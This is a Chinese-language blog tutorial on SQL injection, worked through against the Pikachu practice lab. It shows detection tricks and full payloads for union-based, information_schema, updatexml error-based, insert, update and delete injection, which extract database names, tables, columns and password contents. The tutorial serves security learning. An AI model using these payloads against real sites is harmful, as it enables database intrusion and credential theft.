• SQL注入(一)


    一.SQL注入攻击原理

    原因:是接受相关参数未经处理直接带入数据库查询操作

    注入攻击属于服务端攻击,XSS属于客户端攻击,注入攻击的是数据库,他与操作系统(因为:注入是在web站点的地址参数,与系统无关,注入点是web程序代码)、数据库类型(所有数据库都可以注入)、脚本语言无关(都可以有注入点)

     

    二.注入漏洞的检测方法 

    1.单引号法

    直接在浏览器地址栏中的网址链接后加上一个单引号,如果页面不能正常显示,浏览器返回一些异常信息,则说明该链接可能存在注入漏洞。

    2.and 1=1或and 1=2

    就是直接在链接地址后分别加上and 1=1和and 1=2进行提交,如果返回不同的页面,那么说明存在SQL注入漏洞。

    三.如何找注入

    1.与数据库交互的相关页面

    http://www.*****.com/***.asp?id=xx (ASP注入)

    http://www.*****.com/***.php?id=xx (php注入)

    http://www.*****.com/***.jsp?id=xx (jsp注入)

    2.可能出现注入的地方

    http头、cookies、referer、user-agent、post提交数据包的地方等等

    四.注入分类

    用到的网页:http://192.168.18.173:78/pikachu/index.php

    1.数字型注入

     

     2.字符型注入

     输入vince‘ or 1=1#

     3.搜索型注入

    %xxxx%'or 1=1 #%'

     四.XX型注入

     将拼接语句写为XX') or 1=1#

     五.注入提交方式

    1.get提交

     2.post提交

     3.cookie提交

     六.注入攻击类型与方式

    1.union分类

     union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。(否定前面,执行后面)

     union操作符一般与order by语句配合使用 。

     输入:a' order by 4#%  如图:

     输入:a' order by 3#% 如图:

     输入:a' order by 2#% 如图:

     

     通过这个简单的办法找到主查询一共有两个字段。之后我们来使用union来做一个SQL语句的拼接。

     输入构造好的语句a' union select database(),user(),version()#%,反馈如图:

     2.information_schema注入

    information_schema数据库是MySQL系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用order by来判断查询的字段。(根据已有的数据库来查询字段)

    先找出数据库的名称,输入vince' union select database(),user(),3#%

     得到反馈,判断数据库名称为pikachu

     获取pikachu数据库的表名,输入:u' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#

     获取pikachu数据库的字段名,输入: k' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%

    最后获取字段值的内容,输入:kobe'union select username ,password,3 from users#%

     3.基于函数报错注入

    1.技巧思路:

    在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息。

    2.实战测试

    1、爆数据库版本信息

    k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #

     版本信息是5.5.53

    2、爆数据库当前用户

    k' and  updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#

    当前用户是root

    3、爆数据库

    k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #

    数据库是pikachu

    4、爆表

    k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#

    子查询的结果多于一行,所以采用limit来一行一行显示

    输入k' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu'limit 0,1)),0)#更改limit后面的数字limit 0完成表名遍历。

    表是httpinfo

    5、爆字段

    k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#

    子段是password

    6、爆字段内容

    k' and  updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#

    4.insert注入

    插入式注入,一般在注册的地方有注入点


    然后一个个字段测试,找出注入点,一般是利用单引号测试,看有没有报错

    在admin后加一个单引号,显示报错,说明有注入点

    然后在admin后输入命令‘ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'

    就可以爆出表名,如图

    其他用法与之类似

     爆列名:

    ' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
     

    爆内容:

    ' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

    5.update注入

    更新式注入

     通过判断修改信息的电话一栏有注入点,然后输入代码:

    ' or updatexml(0,concat(0x7e,(database())),0) or'

     来找出数据库名称,如图:

    6.datete注入

    一般应用于前后端发贴、留言、用户等相关删除操作,如图:

     然后找到注入点: id=xx 在其后复制or updatexml(2,concat(0x7e,(database())),0)

     最后得到

     

     

  • 相关阅读:
    从gettext来看linux下程序的internationalization
    C++ Convert Operator和其他Operator的应用场景比较
    申明一个函数指针,并且该函数的返回值也是一个函数指针 示例代码
    XML操作大全
    如何让页面延迟显示?
    Ajax实现不刷屏的前提下实现页面定时刷新
    我喜欢的笑话 呵呵
    Atlas UpdatePanel使用技巧以及常见问题
    asp.net 弹出窗体
    C# asp.net操作文件
  • 原文地址:https://www.cnblogs.com/2001-04-14-03-21/p/14194863.html
Copyright © 2020-2023  润新知